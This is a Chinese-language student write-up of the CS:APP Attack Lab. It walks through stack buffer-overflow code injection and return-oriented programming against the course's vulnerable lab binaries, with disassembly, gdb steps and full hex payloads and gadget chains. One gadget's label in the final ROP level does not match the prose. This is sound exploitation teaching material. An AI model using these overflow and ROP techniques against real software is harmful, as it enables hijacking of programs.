实验目的
- 学习
GDB
与OBJDUMP
的用法; - 了解如何对没有保证缓冲区溢出安全的程序进行攻击;
- 熟悉
x86-64
构架下程序栈和参数传递的运行过程.
实验原理
导致程序漏洞的关键为 getbuf
函数:
unsigned getbuf() {
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
getbuf
函数在栈中申请了一块 BUFFER_SIZE
大小的空间, 并利用这块空间首地址作为 Gets
函数的参数从标准输入中读取字符. 我们可以通过提供一个超过 BUFFER_SIZE
的字符串来向 getbuf
的栈帧之外写入数据.
Code Injection Attacks
Level 1
需要重写函数的正常返回地址, 将函数重定向到 touch1
函数.
首先查看 ctarget
的反汇编代码.
linux> objdump -d ctarget
在 getbuf
中, %rsp
被减了 0x38
, BUFFER_SIZE
大小是 56
.
0000000000401cdb <getbuf>:
401cdb: f3 0f 1e fa endbr64
401cdf: 48 83 ec 38 sub $0x38,%rsp
401ce3: 48 89 e7 mov %rsp,%rdi
401ce6: e8 b5 02 00 00 callq 401fa0 <Gets>
401ceb: b8 01 00 00 00 mov $0x1,%eax
401cf0: 48 83 c4 38 add $0x38,%rsp
401cf4: c3 retq
touch1
函数地址是 0x401cf5
.
0000000000401cf5 <touch1>:
401cf5: f3 0f 1e fa endbr64
401cf9: 50 push %rax
401cfa: 58 pop %rax
401cfb: 48 83 ec 08 sub $0x8,%rsp
401cff: c7 05 f3 57 00 00 01 movl $0x1,0x57f3(%rip) # 4074fc <vlevel>
401d06: 00 00 00
401d09: 48 8d 3d f1 25 00 00 lea 0x25f1(%rip),%rdi # 404301 <_IO_stdin_used+0x301>
401d10: e8 6b f3 ff ff callq 401080 <puts@plt>
401d15: bf 01 00 00 00 mov $0x1,%edi
401d1a: e8 f4 04 00 00 callq 402213 <validate>
401d1f: bf 00 00 00 00 mov $0x0,%edi
401d24: e8 b7 f4 ff ff callq 4011e0 <exit@plt>
解题思路:
- 将
getbuf
函数栈上分配的空间填满, 并且在下8
个字节, 即正常返回地址上填充touch1
的地址. getbuf
函数执行ret
指令后, 会从%rsp+56
处获取返回地址, 而这块地址被改为touch1
的地址, 程序返回touch1
而非test
.
现在构建输入字符串: 首先使用 0x00
填充栈上 56
个字节, 然后填充touch1
地址, 注意字节序为小端序存储.
# 1.txt
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
f5 1c 40 00 00 00 00 00 <----- touch1 的起始地址
Level 2
需要在输入字符串中注入一段代码, 将 cookie
传递进 %rdi
作为参数, 然后程序流跳转到 touch2
函数.
我的 cookie
值为 0x36bf93ac
, touch2
函数会验证传入的参数 val
是否和 cookie
相等.
void touch2(unsigned val){
vlevel = 2;
if (val == cookie){
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
touch2
函数地址是 0x401d29
.
0000000000401d29 <touch2>:
401d29: f3 0f 1e fa endbr64
401d2d: 50 push %rax
401d2e: 58 pop %rax
...
解题思路:
- 将返回地址设置为注入代码的地址, 选择在栈顶注入, 返回地址则设置为
%rsp
. - 将
cookie
值移入%rdi
, 随之被touch2
作为参数调用. - 接下来不能直接使用
call
,jmp
指令调用touch2
, 只能先将touch2
的地址压栈, 并使用ret
改变当前%rip
的指向地址.
注入代码为:
# 2.s
movq $0x36bf93ac, %rdi
pushq $0x401d29
retq
然后执行
linux> gcc -c 2.s
linux> objdump -d 2.o > 2.d
得到机器代码:
# 2.d
2.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 ac 93 bf 36 movq $0x36bf93ac,%rdi
7: 68 29 1d 40 00 pushq $0x401d29
c: c3 retq
我们只需将指令序列 48 c7 c7 ac 93 bf 36 68 29 1d 40 00 c3
注入栈顶. 下面寻找 getbuf
运行栈的栈顶地址 %rsp
, 使用 gdb
调试.
linux> gdb ctarget
(gdb)> break getbuf
(gdb)> run -q
(gdb)> disas
=> 0x0000000000401cdb <+0>: endbr64
0x0000000000401cdf <+4>: sub $0x38,%rsp
0x0000000000401ce3 <+8>: mov %rsp,%rdi
0x0000000000401ce6 <+11>: callq 0x401fa0 <Gets>
0x0000000000401ceb <+16>: mov $0x1,%eax
0x0000000000401cf0 <+21>: add $0x38,%rsp
(gdb) stepi
0x0000000000401cdf 12 in buf.c
(gdb) stepi
14 in buf.c
(gdb) p /x $rsp
$1 = 0x55633168
从而 %rsp
为 0x55633168
.
下面构建输入字符串: 首先注入攻击代码, 然后使用 0x00
填充满栈上 56
个字节, 最后填充攻击代码的起始地址.
# 2.txt
48 c7 c7 ac 93 bf 36 68
29 1d 40 00 c3 00 00 00 <----- 注入代码
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
68 31 63 55 00 00 00 00 <----- 注入代码的起始地址
Level 3
需要在输入字符串中注入一段代码, 将 cookie
变为字符串并传入 %rdi
, 然后程序流跳转到 touch3
函数.
hexmatch
函数检查 cookie
和传进来的字符是否匹配.
int hexmatch(unsigned val, char *sval){
char cbuf[110];
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
touch3
函数会调用 hexmatch
函数验证传入的参数 val
是否和 cookie
相等.
void touch3(char *sval){
vlevel = 3;
if (hexmatch(cookie, sval)){
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
如果将 cookie
串存放在 getbuf
栈帧中, 注意到 hexmatch
中 char *s = cbuf + random() % 100
可能会覆盖原 getbuf
栈帧, 造成数据丢失, 因此需将 cookie
串存放在 test
栈帧中.
解题思路:
- 将
cookie
转为16
进制字符串存放在test
栈帧中. - 将
cookie
串的地址移入%rdi
, 随之被touch3
作为参数调用 (结合%rsp
的地址与相对偏移量可确定). - 接下来不能直接使用
call
,jmp
指令调用touch3
, 只能先将touch3
的地址压栈, 并使用ret
改变当前%rip
的指向地址.
getbuf
运行栈的栈顶地址 %rsp
为 0x55633168
, 字符串 cookie
的 ascii
表示为 33 36 62 66 39 33 61 63 00
, 距 %rsp
的偏移量为 0x40
, 因此其地址为 0x556331a8
. 注入代码为:
# 3.s
mov $0x556331a8, %rdi
pushq $0x401e4e
retq
然后执行
linux> gcc -c 3.s
linux> objdump -d 3.o > 3.d
得到机器代码:
# 3.d
3.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 a8 31 63 55 mov $0x556331a8,%rdi
7: 68 4e 1e 40 00 pushq $0x401e4e
c: c3 retq
我们只需将指令序列 48 c7 c7 a8 31 63 55 68 4e 1e 40 00 c3
注入栈顶.
下面构建输入字符串: 首先注入攻击代码, 然后使用 0x00
填充满栈上 56
个字节, 最后填充攻击代码的起始地址, 并保存 cookie
字符串.
# 3.txt
48 c7 c7 a8 31 63 55 68 <----- 注入代码
4e 1e 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
68 31 63 55 00 00 00 00 <----- 注入代码的起始地址
33 36 62 66 39 33 61 63
00 <----- cookie 字符串
Return-Oriented Programming Attacks
Level 2
需要做的是重复 Code Injection Attacks
中第二阶段的任务, 把 cookie
值传送到 %rdi
, 然后调用 touch2
. 但是无法再将指令序列放入到栈中, 而是需要在程序的 gadget farm
中找到需要的指令序列.
需要的代码为:
popq %rax # 将 cookie 存入 %rax
movq %rax, %rdi # 将 cookie 存入 %rdi
popq %rax
的指令字节为 58
,找到了如下函数:
0000000000401f1d <setval_439>:
401f1d: f3 0f 1e fa endbr64
401f21: c7 07 58 c3 4c cf movl $0xcf4cc358,(%rdi)
401f27: c3 retq
得出 popq %rax
指令的地址为 0x401f23
.
movq %rax, %rdi
的指令字节为 48 89 c7
, 找到了如下函数:
0000000000401f12 <setval_318>:
401f12: f3 0f 1e fa endbr64
401f16: c7 07 6f 48 89 c7 movl $0xc789486f,(%rdi)
401f1c: c3 retq
得出 movq %rax, %rdi
指令的地址为 0x401f19
.
下面构建输入字符串: 首先填充 popq %rax
指令, 注入 cookie
的值, 接着填入 movq %rax, %rdi
指令与 touch2
函数的起始地址.
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
23 1f 40 00 00 00 00 00 <----- popq %rax
ac 93 bf 36 00 00 00 00 <----- coookie
19 1f 40 00 00 00 00 00 <----- movq %rax, %rdi
29 1d 40 00 00 00 00 00 <----- touch2 的起始地址
Level 3
需要做的是重复 Code Injection Attacks
中第三阶段的任务, 把 cookie
字符串的起始地址传送到 %rdi
, 然后调用 touch3
. 但是无法再将指令序列放入到栈中, 而是需要在程序的 gadget farm
中找到需要的指令序列.
因为程序使用栈随机化增强安全性能, 只能用栈顶地址 + 偏移量来索引 cookie
字符串的起始地址.
注意到 farm
中已经存在了一个 add_xy
函数, 可以考虑将 %rsp
传入 %rdi
, 将偏移量传入 %rsi
, 进而计算出 cookie
字符串的首地址, 并传送到 %rax
.
0000000000401f5b <add_xy>:
401f5b: f3 0f 1e fa endbr64
401f5f: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
401f63: c3 retq
- 将
%rsp
传入%rdi
需要的代码为:
movq %rsp, %rax
movq %rax, %rdi
- 将偏移量传入
%rsi
需要的代码为:
popq %rax
movq %eax, %ecx
movq %ecx, %edx
movq %edx, %esi
最困难的一条指令、也是唯一没有使用 c3
或 90
结尾的 gadget
指令为: 从 %ecx
传入 %esi
.
这一步的指令字节为 89 ca
, 而 08 db
为一个nop
指令 orb %bl %bl
的编码, 因此 0x401fe9
是一个符合要求的 gadget
地址.
0000000000401fe3 <setval_370>:
401fe3: f3 0f 1e fa endbr64
401fe7: c7 07 89 ca 08 db movl $0xdb08ca89,(%rdi)
401fed: c3 retq
- 计算
cookie
地址, 传入%rdi
需要的代码为:
lea (%rdi,%rsi,1),%rax
movq %rax, %rdi
获取 %rsp
的指令与 cookie
字符串的存储地址间隔了九条 8
字节指令, 因此偏移量为 0x48
.
下面构建输入字符串:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
d3 1f 40 00 00 00 00 00 <----- movq %rsp, %rax
19 1f 40 00 00 00 00 00 <----- movq %rax, %rdi
23 1f 40 00 00 00 00 00 <----- popq %rax
48 00 00 00 00 00 00 00 <----- cookie 字符串偏移量
3f 20 40 00 00 00 00 00 <----- movq %eax, %ecx
e9 1f 40 00 00 00 00 00 <----- movq %ecx, %edx
a9 20 40 00 00 00 00 00 <----- movq %edx, %esi
5b 1f 40 00 00 00 00 00 <----- lea (%rdi,%rsi,1),%rax
19 1f 40 00 00 00 00 00 <----- movq %rax, %rdi
4e 1e 40 00 00 00 00 00 <----- touch3 的起始地址
33 36 62 66 39 33 61 63
00 <----- cookie 字符串